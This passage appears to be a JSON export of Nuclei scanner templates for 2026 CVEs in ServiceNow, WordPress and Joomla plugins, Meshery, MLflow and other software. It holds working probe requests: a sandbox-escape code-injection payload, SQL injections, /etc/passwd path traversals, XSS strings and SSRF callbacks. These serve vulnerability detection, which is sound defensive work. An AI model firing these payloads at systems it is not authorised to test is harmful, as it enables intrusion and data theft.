and Yokohama releases before patching) contains a pre-authentication remote code execution vulnerability. The /assessment_thanks.do endpoint passes the sysparm_assessable_type parameter into GlideRecord's addQuery(), which evaluates \"javascript:\" prefixed values as JavaScript in a restricted script sandbox. A sandbox escape gadget using Object.defineProperty and Class.create.constructor chains through the gs.include('ItemViewElementsProvider') path to invoke Function(code)(), bypassing the sandbox and executing arbitrary GlideController code. Actively exploited in the wild since July 2026.\n  impact: |\n    Unauthenticated attackers can execute arbitrary code within the ServiceNow platform, access all database tables, create administrator accounts, and execute shell commands on connected MID proxy servers that sit within corporate internal networks.\n  remediation: Apply the latest security updates or upgrade to the patched release provided by ServiceNow.\n  reference:\n    - https://slcyber.io/research-center/smashing-the-servicenow-sandbox-pre-authentication-rce/\n    - https://support.servicenow.com/kb?id=kb_article_view&sysparm_article=KB3137947\n    - https://nvd.nist.gov/vuln/detail/CVE-2026-6875\n    - https://www.bleepingcomputer.com/news/security/critical-servicenow-code-execution-flaw-now-exploited-in-attacks/\n    - https://github.com/tc4dy/CVE-2026-6875-PoC-Exploit\n  classification:\n    cve-id: CVE-2026-6875\n    cwe-id: CWE-94\n    cvss-metrics: CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:C/C:H/I:H/A:H\n    cvss-score: 9.5\n    epss-score: 0.01426\n    epss-percentile: 0.73018\n  metadata:\n    verified: true\n    max-request: 2\n    vendor: servicenow\n    product: servicenow\n    shodan-query:\n      - http.favicon.hash:\"1701804003\"\n      - http.title:\"servicenow\"\n    fofa-query:\n      - icon_hash=1701804003\n      - title=\"servicenow\"\n    google-query: intitle:\"servicenow\"\n  tags: cve,cve2026,servicenow,rce,sandbox-escape,js-injection,vkev\n\nflow: http(1) && http(2)\n\nhttp:\n  - method: GET\n    path:\n      - \"{{BaseURL}}/login.do\"\n\n    host-redirects: true\n    max-redirects: 3\n\n    matchers:\n      - type: word\n        part: body\n        words:\n          - \"servicenow\"\n          - \"glide\"\n          - \"sysparm\"\n        condition: or\n        case-insensitive: true\n        internal: true\n\n  - raw:\n      - |\n        GET /assessment_thanks.do?sysparm_assessable_type=javascript%3AObject.defineProperty(Object%2C%27clone%27%2C%7Bvalue%3AClass.create.constructor%7D)%3BObject.defineProperty(AbstractAjaxProcessor%2C%27prototype%27%2C%7Bvalue%3A%22GlideController().evaluateAsObject(%27gs.addInfoMessage(999*999)%27)%22%7D)%3Bgs.include(%27ItemViewElementsProvider%27)%3BItemViewElementsProvider.prototype() HTTP/1.1\n        Host: {{Hostname}}\n\n\n    matchers-condition: and\n    matchers:\n      - type: word\n        part: body\n        words:\n          - \"998001\"\n\n      - type: word\n        part: content_type\n        words:\n          - \"text/html\"\n\n      - type: status\n        status:\n          - 200\n# digest: 4b0a00483046022100fbbfb49f8ddc786571dbf785c9366af1c6eeb3350c49e48b5258484d6d8c5570022100ce4d750c2371b4eb73422230cc33686b9b39482e2c511f2f75308d3b540b2790:922c64590222798bb761d5b6d8e72950","severity":"critical","template_path":"http/cves/2026/CVE-2026-6875.yaml","vuln_id":"cve-2026-6875"},{"raw":"id: CVE-2026-6854\n\ninfo:\n  name: My Calendar < 3.7.9 - Unauthenticated SQL Injection\n  author: Pauullamm\n  severity: high\n  description: |\n    The My Calendar – Accessible Event Manager plugin for WordPress is vulnerable to time-based blind SQL Injection via the 'mc_auth' parameter in all versions up to, and including, 3.7.8 due to insufficient escaping on the user supplied parameter and lack of sufficient preparation on the existing SQL query. This makes it possible for unauthenticated attackers to append additional SQL queries into already existing queries that can be used to extract sensitive information from the database.\n  impact: |\n    Unauthenticated attackers can extract sensitive database information, leading to data disclosure.\n  remediation: |\n    Update to the latest version of the My Calendar – Accessible Event Manager plugin.\n  reference:\n    - https://wpscan.com/vulnerability/a6466f97-4d8a-4d01-b61f-94d89da7c16b/\n    - https://nvd.nist.gov/vuln/detail/CVE-2026-6854\n  classification:\n    cve-id: CVE-2026-6854\n    epss-score: 0.01577\n    epss-percentile: 0.75544\n    cwe-id: CWE-89\n  metadata:\n    max-request: 3\n    verified: true\n  tags: cve,cve2026,sqli,wordpress,my-calendar\n\nflow: http(1) && http(2) && http(3)\n\nhttp:\n  - method: GET\n    path:\n      - \"{{BaseURL}}/wp-content/plugins/my-calendar/readme.txt\"\n\n    matchers:\n      - type: word\n        part: body\n        words:\n          - \"My Calendar\"\n        internal: true\n\n    extractors:\n      - type: regex\n        name: my_calendar_version\n        part: body\n        group: 1\n        regex:\n          - \"(?mi)^Stable tag:\\\\s*([0-9]+\\\\.[0-9]+\\\\.[0-9]+)\"\n        internal: true\n\n  - method: GET\n    path:\n      - \"{{BaseURL}}/?to=2026-09-12&from=2026-08-13&mc-api=json\"\n\n    matchers:\n      - type: dsl\n        dsl:\n          - \"status_code >= 200\"\n          - \"contains(tolower(header), 'application/json')\"\n        condition: and\n        internal: true\n\n  - method: GET\n    path:\n      - \"{{BaseURL}}/?to=2026-09-12&from=2026-08-13&mc-api=json&mc_auth=1%2C2)%20OR%20SLEEP%287%29--%20x\"\n\n    matchers:\n      - type: dsl\n        dsl:\n          - \"duration >= 7\"\n# digest: 4b0a00483046022100af0b002ba8d3ebec719ebc7047378458d3819cbe6b1204ca0ed5338be7cdecb302210087b03d6c8f2384d17e8455e1435df0fd613b5c088686ce9f7aa827b080f8734a:922c64590222798bb761d5b6d8e72950","severity":"high","template_path":"http/cves/2026/CVE-2026-6854.yaml","vuln_id":"cve-2026-6854"},{"raw":"id: CVE-2026-6826\n\ninfo:\n  name: Concrete CMS <9.5.1 - Unauthenticated File Usage Disclosure\n  author: str4k3r\n  severity: medium\n  description: |\n    Concrete CMS 9.5.0 and below  is vulnerable to unauthenticated file usage disclosure via missing permission check in the usage controller.\n  impact: |\n    Any unauthenticated visitor can request /ccm/system/dialogs/file/usage/{fID} with any file ID and receive a list of every page that references that file, including page IDs, handles, and full URLs. This includes pages that are otherwise restricted by permissions.\n  remediation: |\n    Update to the latest version beyond 9.5.0.\n  reference:\n    - https://documentation.concretecms.org/9-x/developers/introduction/version-history/951-release-notes\n    - https://www.concretecms.org/security\n    - https://nvd.nist.gov/vuln/detail/CVE-2026-6826\n    - https://vulnerability.circl.lu/vuln/cve-2026-6826\n  classification:\n    cvss-metrics: CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N\n    cvss-score: 6.9\n    cve-id: CVE-2026-6826\n    epss-score: 0.01461\n    epss-percentile: 0.7367\n    cwe-id: CWE-862\n  metadata:\n    verified: true\n    max-request: 1\n    shodan-query: http.component:\"Concrete CMS\"\n    fofa-query: app=\"Concrete-CMS\"\n  tags: cve,cve2026,concretecms,concrete,disclosure,unauth,idor\n\nhttp:\n  - method: GET\n    path:\n      - \"{{BaseURL}}/ccm/system/dialogs/file/usage/1\"\n\n    matchers-condition: and\n    matchers:\n      - type: word\n        part: body\n        words:\n          - 'ccm-ui'\n          - 'Page ID'\n          - 'Handle'\n          - 'Location'\n        condition: and\n\n      - type: status\n        status:\n          - 200\n# digest: 490a0046304402203e77ecc6a910f72473b7344355762e0b84aec8e6b58416aaf1236faeef8cda3c02205e01b17b785a8cbd5a8978d40cb7656103d96f355d8ab382497023107975f4a8:922c64590222798bb761d5b6d8e72950","severity":"medium","template_path":"http/cves/2026/CVE-2026-6826.yaml","vuln_id":"cve-2026-6826"},{"raw":"id: CVE-2026-67208\n\ninfo:\n  name: Juggle <= 1.6.0 - Unauthenticated Exposed H2 Database Console\n  author: str4k3r\n  severity: critical\n  description: |\n    Juggle ships the H2 database web console enabled and reachable from\n    non-localhost by default. No application-level authentication covers\n    the /h2-console path, and the shipped default datasource credentials\n    (sa/juggle) are known. An unauthenticated remote attacker can reach the\n    console and, using the default credentials, achieve OS command\n    execution on the host via the H2 CREATE ALIAS Runtime.exec() technique.\n  impact: |\n    Unauthenticated remote attackers can execute arbitrary OS commands with root privileges, leading to full system compromise.\n  remediation: |\n    Update to the latest version and change default credentials; restrict access to /h2-console.\n  reference:\n    - https://github.com/somta/Juggle/issues/86\n    - https://www.vulncheck.com/advisories/juggle-unauthenticated-rce-via-exposed-h2-console\n  classification:\n    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H\n    cvss-score: 9.8\n    cve-id: CVE-2026-67208\n    epss-score: 0.07223\n    epss-percentile: 0.9434\n    cwe-id: CWE-306\n  metadata:\n    verified: true\n    max-request: 2\n    product: juggle\n    vendor: somta\n  tags: cve,cve2026,juggle,h2,exposure,unauth,rce\n\nflow: |\n  http(\"juggle-detect\") && http(\"h2-console-check\")\n\nhttp:\n  - method: GET\n    id: juggle-detect\n    path:\n      - \"{{BaseURL}}\"\n\n    matchers:\n      - type: dsl\n        dsl:\n          - 'status_code == 200'\n          - 'contains(body, \"<title>Juggle</title>\")'\n        condition: and\n        internal: true\n\n  - method: GET\n    id: h2-console-check\n    path:\n      - \"{{BaseURL}}/h2-console/\"\n\n    matchers-condition: and\n    matchers:\n      - type: status\n        status:\n          - 200\n      - type: word\n        part: body\n        words:\n          - \"<title>H2 Console</title>\"\n          - \"login.jsp?jsessionid=\"\n        condition: and\n# digest: 4a0a00473045022100f2b9d1086b3c666a90916b56dce4db4456da98e699754a71858420b747d4256a02203df6aa2e69914a4095e3a6b5e1de37c35b78b40fa2d49a5d6374bb7c7ddc0837:922c64590222798bb761d5b6d8e72950","severity":"critical","template_path":"http/cves/2026/CVE-2026-67208.yaml","vuln_id":"cve-2026-67208"},{"raw":"id: CVE-2026-66914\n\ninfo:\n  name: SEBLOD for Joomla < 3.30.0/< 4.7.0/< 6.0.1 - Path Traversal\n  author: Het Kalariya\n  severity: critical\n  description: |\n    Joomla Extension SEBLOD < 3.30.0, < 4.7.0, < 6.0.1 contains an unauthenticated path traversal caused by improper validation of file paths, letting unauthenticated attackers download files inside and outside the webroot, exploit requires no authentication.\n  impact: |\n    Unauthenticated attackers can download arbitrary files, potentially exposing sensitive information.\n  remediation: |\n    Update to SEBLOD 3.30.0, 4.7.0, 6.0.1 or later.\n  reference:\n    - https://nvd.nist.gov/vuln/detail/CVE-2026-66914\n    - https://www.seblod.com/\n  classification:\n    cvss-metrics: CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:H/SI:N/SA:N\n    cvss-score: 9.2\n    cve-id: CVE-2026-66914\n    epss-score: 0.01535\n    epss-percentile: 0.74908\n    cwe-id: CWE-22\n  metadata:\n    verified: true\n    max-request: 1\n    vendor: seblod\n    product: seblod\n  tags: cve,cve2026,joomla,seblod,lfi,path-traversal,unauth\n\nhttp:\n  - method: GET\n    path:\n      - \"{{BaseURL}}/index.php?option=com_cck&task=download&file=tmp/../../../../etc/passwd\"\n\n    matchers-condition: and\n    matchers:\n      - type: dsl\n        dsl:\n          - 'status_code == 200'\n          - 'regex(\"root:[x*!]:0:0:\", body)'\n          - 'contains(all_headers, \"Content-Disposition\")'\n        condition: and\n# digest: 490a00463044022052d24f8e78249bdeb4ba6af463b8727f89a3003f68c952214c3ae5d2f014f4db02202bc60144f68a218b8b595d75a45fe31927aa168d2fcbf6dafb8a4f38750acdad:922c64590222798bb761d5b6d8e72950","severity":"critical","template_path":"http/cves/2026/CVE-2026-66914.yaml","vuln_id":"cve-2026-66914"},{"raw":"id: CVE-2026-6639\n\ninfo:\n  name: AI Copilot Content Generator <=1.4.6 - Unauthenticated Task Data Exposure\n  author: str4k3r\n  severity: high\n  description: |\n    AIWU AI Chatbot & Workflow Automation WordPress plugin <= 1.4.6 contains a sensitive information exposure caused by unauthenticated access to getCurrentTaskResults() method, letting unauthenticated attackers retrieve API keys and configuration data, exploit requires no authentication.\n  impact: |\n    Unauthenticated attackers can access sensitive API keys and configuration data, risking data leakage and unauthorized use of services.\n  remediation: |\n    Update to the latest version beyond 1.4.6.\n  reference:\n    - https://nvd.nist.gov/vuln/detail/CVE-2026-6639\n    - https://www.wordfence.com/threat-intel/vulnerabilities/id/247b1921-70a6-4e65-819a-2895bc395e9f?source=cve\n  classification:\n    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N\n    cvss-score: 7.5\n    cve-id: CVE-2026-6639\n    epss-score: 0.01989\n    epss-percentile: 0.80697\n    cwe-id: CWE-862\n  metadata:\n    verified: true\n    max-request: 1\n    vendor: aiwu\n    product: ai-copilot-content-generator\n    fofa-query: 'body=\"/wp-content/plugins/ai-copilot-content-generator/\"'\n  tags: cve,cve2026,wordpress,wp-plugin,aiwu,ai-copilot,exposure,unauth\n\nhttp:\n  - raw:\n      - |\n        POST /wp-admin/admin-ajax.php HTTP/1.1\n        Host: {{Hostname}}\n        Content-Type: application/x-www-form-urlencoded\n\n        action=getCurrentTaskResults&pl=waic&mod=workspace&reqType=ajax&task_id=1\n\n    matchers:\n      - type: dsl\n        dsl:\n          - 'status_code == 200'\n          - 'contains(body, \"\\\"feature\\\":\\\"magictext\\\"\")'\n        condition: and\n# digest: 4b0a00483046022100d3167eb31b0df7c349d23a2093b16fc58b4f25769b980716fca3b3ab74e83c760221008c6ee5d0e1818d0cdc5a01910da06cd09a281a6301e9d4b4741215fb01b7102e:922c64590222798bb761d5b6d8e72950","severity":"high","template_path":"http/cves/2026/CVE-2026-6639.yaml","vuln_id":"cve-2026-6639"},{"raw":"id: CVE-2026-65919\n\ninfo:\n  name: Meshery <1.0.57 - Arbitrary File Read\n  author: str4k3r\n  severity: high\n  description: |\n    Meshery before 1.0.57 contains an unauthenticated arbitrary file read vulnerability in the /api/system/fileView and /api/system/fileDownload endpoints that pass user-supplied file parameters directly to os.Open without path validation. Attackers can supply absolute paths or traversal sequences in the file parameter to read arbitrary files from the host filesystem without authentication.\n  impact: |\n    Unauthenticated attackers can read arbitrary files on the host, potentially exposing sensitive information.\n  remediation: |\n    Upgrade to version 1.0.57 or later.\n  reference:\n    - https://github.com/meshery/meshery/issues/20076\n    - https://github.com/meshery/meshery/pull/20133\n    - https://github.com/meshery/meshery/commit/ea83a26cb090b13be36c07cf24a99f8c637cc765\n    - https://www.vulncheck.com/advisories/meshery-unauthenticated-arbitrary-file-read-via-fileview-and-filedownload\n    - https://nvd.nist.gov/vuln/detail/CVE-2026-65919\n  classification:\n    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N\n    cvss-score: 7.5\n    cve-id: CVE-2026-65919\n    epss-score: 0.02087\n    epss-percentile: 0.8164\n    cwe-id: CWE-22\n  metadata:\n    verified: true\n    max-request: 3\n    product: meshery\n    vendor: meshery\n    fofa-query: title=\"Meshery\"\n    shodan-query: http.title:\"Meshery\"\n  tags: cve,cve2026,meshery,lfi,traversal,oss\n\nflow: http(\"detect\") && http(\"exploit\")\n\nhttp:\n  - id: detect\n    method: GET\n    path:\n      - \"{{BaseURL}}\"\n\n    host-redirects: true\n    max-redirects: 2\n\n    matchers:\n      - type: word\n        part: body\n        words:\n          - \"Meshery\"\n          - \"assetPrefix\"\n        condition: and\n        internal: true\n        case-insensitive: true\n\n  - id: exploit\n    method: GET\n    path:\n      - \"{{BaseURL}}/api/system/fileView?file=/etc/passwd\"\n      - \"{{BaseURL}}/api/system/fileDownload?file=/etc/passwd\"\n\n    stop-at-first-match: true\n\n    matchers-condition: and\n    matchers:\n      - type: regex\n        part: body\n        regex:\n          - \"root:.*:0:0:\"\n\n      - type: status\n        status:\n          - 200\n# digest: 4a0a0047304502204687f3bc973e787006e2bce442aeff02162d04af36be6eb1ce54b53f00ac8faf02210093d674c81a165e7ead2cca0e4e40e4bde23f88fcceff8cb5cdaf6c30025e09dd:922c64590222798bb761d5b6d8e72950","severity":"high","template_path":"http/cves/2026/CVE-2026-65919.yaml","vuln_id":"cve-2026-65919"},{"raw":"id: CVE-2026-65761\n\ninfo:\n  name: Joomla Easy Store - SQL Injection\n  author: YesWeHack\n  severity: critical\n  description: |\n    Joomla Easy Store extension 1.0.0-2.0.1 contains an unauthenticated SQL injection caused by improper validation of order parameters, letting unauthenticated attackers read the full database including credentials and sessions.\n  impact: |\n    Unauthenticated attackers can read the entire database, exposing sensitive data including credentials and session information.\n  remediation: |\n    Update to the latest version of Easy Store extension.\n  reference:\n    - https://nvd.nist.gov/vuln/detail/CVE-2026-65761\n    - https://mysites.guru/blog/easystore-security-disclosure/\n    - https://www.joomshaper.com/easystore\n  classification:\n    cve-id: CVE-2026-65761\n    epss-score: 0.01045\n    epss-percentile: 0.64251\n    cwe-id: CWE-89\n    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H\n    cvss-score: 9.8\n    cpe: cpe:2.3:a:joomshaper.com:easy_store_extension_for_joomla:*:*:*:*:*:*:*:*\n  metadata:\n    max-requests: 1\n    vendor: JoomShaper\n    product: Easy Store\n    fofa-query: app=\"joomla\" && body=\"Easy Store\"\n  tags: cve,cve2026,joomla,easystore,sql-injection,unauthenticated,vkev\n\nvariables:\n  num: \"999999999\"\n\nhttp:\n  - method: GET\n    path:\n      - \"{{BaseURL}}/index.php?option=com_easystore&view=products&task=search&filter_sortby=created-ASC,EXTRACTVALUE(1,CONCAT(CHAR(126),SUBSTRING(MD5({{num}}),1,28)))--+-\"\n\n    matchers:\n      - type: dsl\n        dsl:\n          - 'status_code == 500'\n          - 'contains_all(body, substr(md5(num), 0, 28), \"XPATH syntax error\")'\n        condition: and\n# digest: 4a0a00473045022100c63578717c6f369151c82f4e07ba8b33aa61909d07c17a798d5c23939b9231e302200be338224c6dcd70f0abf6c37f300978b0a2d4693e1c4ae18933be1121f21298:922c64590222798bb761d5b6d8e72950","severity":"critical","template_path":"http/cves/2026/CVE-2026-65761.yaml","vuln_id":"cve-2026-65761"},{"raw":"id: CVE-2026-65694\n\ninfo:\n  name: Microweber CMS <= 2.0.20 - Unauthenticated Arbitrary File Read\n  author: 0x_Akoko,abdugafforov-bobur\n  severity: high\n  description: |\n    Microweber CMS <= 2.0.20 contains a path traversal vulnerability caused by failure to normalize path query parameter in static file controller, letting unauthenticated remote attackers read arbitrary files.\n  impact: |\n    Unauthenticated attackers can read sensitive files, potentially exposing credentials and system information.\n  remediation: |\n    Update to the latest version beyond 2.0.20.\n  reference:\n    - https://github.com/abdugafforov-bobur/CVE-2026-65694-PoC\n    - https://nvd.nist.gov/vuln/detail/CVE-2026-65694\n  classification:\n    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N\n    cvss-score: 7.5\n    cve-id: CVE-2026-65694\n    epss-score: 0.03369\n    epss-percentile: 0.88785\n    cwe-id: CWE-22\n  metadata:\n    verified: true\n    max-request: 1\n    vendor: microweber\n    product: microweber\n    shodan-query: http.html:\"microweber\"\n    fofa-query: body=\"microweber\"\n  tags: cve,cve2026,microweber,lfi\n\nhttp:\n  - raw:\n      - |\n        GET /userfiles/x?path=../../../../../../../../etc/passwd HTTP/1.1\n        Host: {{Hostname}}\n\n    matchers:\n      - type: dsl\n        dsl:\n          - 'status_code == 200'\n          - 'contains(body, \"root:x:0:0\")'\n        condition: and\n# digest: 4b0a00483046022100c614edfc44ff6ba6786b6029ba050ee669b6b03ab950ffbb4f79b518e8a29913022100eeeacb4e65c501914ef4e89c5c65f2b05057bbcc64ac3fe9a84eac9f6005f8e7:922c64590222798bb761d5b6d8e72950","severity":"high","template_path":"http/cves/2026/CVE-2026-65694.yaml","vuln_id":"cve-2026-65694"},{"raw":"id: CVE-2026-65442\n\ninfo:\n  name: FormCraft3 <= 3.9.15 - Server-Side Request Forgery\n  author: DhiyaneshDk\n  severity: high\n  description: |\n    Unauthenticated Server Side Request Forgery (SSRF) in FormCraft <= 3.9.15 versions.\n  impact: |\n    An unauthenticated attacker can force the server to make HTTP requests to arbitrary internal or external URLs, potentially accessing cloud metadata services (AWS/GCP/Azure), internal network services, and sensitive data.\n  remediation: |\n    Update FormCraft3 to version 3.9.16 or later which adds nonce verification and authentication checks to the formcraft3_get AJAX endpoint.\n  reference:\n    - https://patchstack.com/database/wordpress/plugin/formcraft/vulnerability/wordpress-formcraft-plugin-3-9-15-server-side-request-forgery-ssrf-vulnerability\n    - https://wpscan.com/vulnerability/a8ce5ff4-dd4c-411c-9b34-7824a75742b6/\n    - https://github.com/advisories/GHSA-xvfc-pj4j-wr9x\n    - https://nvd.nist.gov/vuln/detail/CVE-2026-65442\n    - https://nvd.nist.gov/vuln/detail/CVE-2022-0591\n  classification:\n    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N\n    cvss-score: 7.2\n    cve-id: CVE-2026-65442\n    epss-score: 0.00582\n    epss-percentile: 0.47943\n    cwe-id: CWE-918\n    cpe: cpe:2.3:a:subtlewebinc:formcraft3:*:*:*:*:*:wordpress:*:*\n  metadata:\n    verified: true\n    max-request: 2\n    vendor: subtlewebinc\n    product: formcraft3\n    framework: wordpress\n    fofa-query: body=\"formcraft3\" && body=\"wp-\"\n    shodan-query: http.component:\"wordpress\" http.html:\"formcraft3\"\n  tags: cve,cve2026,wp,wp-plugin,wordpress,formcraft3,ssrf,subtlewebinc,vkev,oast\n\nflow: http(1) && http(2)\n\nhttp:\n  - method: GET\n    path:\n      - \"{{BaseURL}}\"\n\n    matchers:\n      - type: word\n        words:\n          - \"/wp-content/plugins/formcraft3/\"\n        internal: true\n\n  - method: GET\n    path:\n      - \"{{BaseURL}}/wp-admin/admin-ajax.php?action=formcraft3_get&URL=https://{{interactsh-url}}\"\n\n    matchers-condition: and\n    matchers:\n      - type: word\n        part: interactsh_protocol\n        words:\n          - \"http\"\n\n      - type: word\n        part: interactsh_request\n        words:\n          - \"User-Agent: WordPress\"\n# digest: 4b0a00483046022100fe3df4d7c1bf9b0c8a8fb7c726a689600621d48725883dc21bfb95d801067e38022100dacf68e59e87e559d093dcd8b6869600d56141d9e5d167afb8317b15d6f4f62b:922c64590222798bb761d5b6d8e72950","severity":"high","template_path":"http/cves/2026/CVE-2026-65442.yaml","vuln_id":"cve-2026-65442"},{"raw":"id: CVE-2026-6495\n\ninfo:\n  name: WordPress Ajax Load More < 7.8.4 - Reflected Cross-Site Scripting\n  author: anirbala98\n  severity: high\n  description: |\n    The Ajax Load More WordPress plugin < 7.8.4 does not sanitise and escape a parameter before outputting it back in the page, leading to a Reflected Cross-Site Scripting attack which could be used against high privilege users such as administrators.\n  impact: |\n    Attackers can execute arbitrary JavaScript in browsers of logged-in users, potentially leading to session hijacking or privilege escalation.\n  remediation: |\n    Update the plugin to version 7.8.4 or later.\n  reference:\n    - https://nvd.nist.gov/vuln/detail/CVE-2026-6495\n    - https://wpscan.com/vulnerability/c52f28c5-547d-48ae-89dd-edcdaeadcec5/\n    - https://wordpress.org/plugins/ajax-load-more/\n  classification:\n    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:L\n    cvss-score: 7.1\n    cve-id: CVE-2026-6495\n    epss-score: 0.00368\n    epss-percentile: 0.30845\n    cwe-id: CWE-79\n  metadata:\n    verified: true\n    max-request: 2\n    vendor: darren-cooney\n    product: ajax-load-more\n    framework: wordpress\n    fofa-query: body=\"/wp-content/plugins/ajax-load-more/\"\n  tags: cve,cve2026,wordpress,wp-plugin,ajax-load-more,xss,authenticated\n\nflow: http(1) && http(2)\n\nhttp:\n  - raw:\n      - |\n        POST /wp-login.php HTTP/1.1\n        Host: {{Hostname}}\n        Content-Type: application/x-www-form-urlencoded\n\n        log={{username}}&pwd={{password}}&wp-submit=Log+In\n\n    matchers:\n      - type: dsl\n        dsl:\n          - status_code == 302\n          - contains(header, \"wordpress_logged_in\")\n        condition: and\n        internal: true\n\n  - raw:\n      - |\n        GET /?alm_preview=%5Bajax_load_more%20id%3D%22%3C/div%3E%3Cimg%20src=x%20onerror=alert(document.domain)%3E#%22%5D HTTP/1.1\n        Host: {{Hostname}}\n\n    matchers:\n      - type: dsl\n        dsl:\n          - 'status_code == 200'\n          - 'contains(content_type, \"text/html\")'\n          - 'contains(body, \"<img src=x onerror=alert(document.domain)>\")'\n        condition: and\n# digest: 4b0a00483046022100846dafdebfd5c37a6bc1deb9af72b011eb012cab46164d0007d1dbe080997c1e02210091edb0a62ee70d4113366afd95e82f9a17eba3ed4fc442cab844902a95c43ef8:922c64590222798bb761d5b6d8e72950","severity":"high","template_path":"http/cves/2026/CVE-2026-6495.yaml","vuln_id":"cve-2026-6495"},{"raw":"id: CVE-2026-64849\n\ninfo:\n  name: MLflow Webhook SSRF - Unauthenticated Full-Read via Redirect Bypass\n  author: DhiyaneshDk\n  severity: critical\n  description: |\n    MLflow > 3.15.0 contains an information disclosure vulnerability caused by improper validation of webhook URLs allowing attackers to reach internal or cloud metadata services and obtain response details, exploit requires unauthenticated access to the webhook test endpoint.\n  impact: |\n    Attackers can access internal or cloud metadata services and retrieve response status and body, potentially exposing sensitive information.\n  remediation: |\n    Upgrade MLflow to a version containing PR #24258 which adds SSRFProtectedHTTPAdapter for connection-time IP validation covering redirect targets and DNS rebinding.\n  reference:\n    - https://github.com/mlflow/mlflow/security/advisories/GHSA-7gwp-5pfp-969j\n    - https://github.com/mlflow/mlflow/pull/24258\n  classification:\n    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:L/A:N\n    cvss-score: 9.3\n    cve-id: CVE-2026-64849\n    epss-score: 0.10017\n    epss-percentile: 0.95629\n    cwe-id: CWE-918\n  metadata:\n    max-request: 3\n    verified: true\n    shodan-query: http.title:\"MLflow\"\n    fofa-query: title=\"MLflow\"\n  tags: cve,cve2026,mlflow,ssrf,oast,webhook,oss,vkev,kev\n\nvariables:\n  random: \"{{rand_text_alpha(8)}}\"\n\nhttp:\n  - raw:\n      - |\n        POST /api/2.0/mlflow/webhooks HTTP/1.1\n        Host: {{Hostname}}\n        Content-Type: application/json\n\n        {\"name\":\"{{random}}\",\"url\":\"https://{{interactsh-url}}\",\"events\":[{\"entity\":\"REGISTERED_MODEL\",\"action\":\"CREATED\"}]}\n\n      - |\n        POST /api/2.0/mlflow/webhooks/{{webhook_id}}/test HTTP/1.1\n        Host: {{Hostname}}\n        Content-Type: application/json\n\n        {\"webhook_id\":\"{{webhook_id}}\",\"event\":{\"entity\":\"REGISTERED_MODEL\",\"action\":\"CREATED\"}}\n\n      - |\n        DELETE /api/2.0/mlflow/webhooks/{{webhook_id}} HTTP/1.1\n        Host: {{Hostname}}\n\n    matchers-condition: and\n    matchers:\n      - type: word\n        part: body_1\n        words:\n          - \"webhook_id\"\n          - \"ACTIVE\"\n        condition: and\n\n      - type: word\n        part: interactsh_protocol\n        words:\n          - \"http\"\n\n    extractors:\n      - type: regex\n        name: webhook_id\n        part: body\n        internal: true\n        regex:\n          - '\"webhook_id\":\\s*\"([^\"]+)\"'\n        group: 1\n# digest: 4b0a00483046022100cefbc16af3f3a03d998c75710311280060c83d4495d06092c7b20ef88d4aba5e022100e924931cb879e48c8120b692673c0cde62fd70248980d92a85c62f7641410c04:922c64590222798bb761d5b6d8e72950","severity":"critical","template_path":"http/cves/2026/CVE-2026-64849.yaml","vuln_id":"cve-2026-64849"},{"raw":"id: CVE-2026-64638\n\ninfo:\n  name: WordPress Core < 7.0.3 - Preauth Reflected XSS (XSS2Shell)\n  author: FLX | Nick Vidovic (greenhats)\n  severity: high\n  description: |\n    Pre-authentication reflected XSS in WordPress wp-login.php (CVE-2026-64638).\n    The flaw exploits a parser differential between PHP strip_tags() and\n    WordPress KSES. Tags with whitespace after < (e.g. \"< area\") survive\n    strip_tags() but are normalized to valid HTML by KSES, leading to\n    attacker-controlled DOM elements that trigger automatic JavaScript\n    execution via user-profile.js. No user interaction required.\n    Affects all WordPress versions < 7.0.3.\n  impact: |\n    Attackers can execute scripts leading to remote code execution via social engineering and victim interaction.\n  remediation: |\n    Upgrade WordPress to 7.0.3 or apply the backported security patch.\n  reference:\n    - https://pwn.ai/blog/xss2shell\n    - https://thehackernews.com/2026/08/new-wordpress-pre-auth-xss-could-lead.html\n    - https://nvd.nist.gov/vuln/detail/CVE-2026-64638\n    - https://wordpress.org/news/2026/08/wordpress-7-0-3-release/\n  classification:\n    cve-id: CVE-2026-64638\n    epss-score: 0.00894\n    epss-percentile: 0.59597\n    cvss-score: 8.9\n    cwe-id: CWE-79\n    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H\n  metadata:\n    max-request: 3\n    verified: true\n    shodan-query: http.component:\"wordpress\"\n  tags: cve,cve2026,wordpress,xss,rce,pwnai\n\nflow: http(1) && http(2)\n\nhttp:\n  - method: GET\n    path:\n      - \"{{BaseURL}}/wp-login.php\"\n\n    matchers:\n      - type: word\n        part: body\n        words:\n          - \"loginform\"\n          - \"wp-core-ui\"\n        condition: and\n        internal: true\n\n  - raw:\n      - |\n        POST /wp-login.php HTTP/1.1\n        Host: {{Hostname}}\n        Content-Type: application/x-www-form-urlencoded\n\n        log=%3C%20area%20id%3Dajaxurl%20href%3D%2F%3Frest_route%3D%2F%26_method%3DGET%26_jsonp%3Dalert%3E%3C%20div%20id%3Dcolor-picker%20class%3Dreset-pass-submit%3E%3C%20button%20class%3D%22wp-generate-pw%20color-option%22%3EX&pwd=x&wp-submit=Log+In\n\n      - |\n        POST /wp-login.php HTTP/1.1\n        Host: {{Hostname}}\n        Content-Type: application/x-www-form-urlencoded\n\n        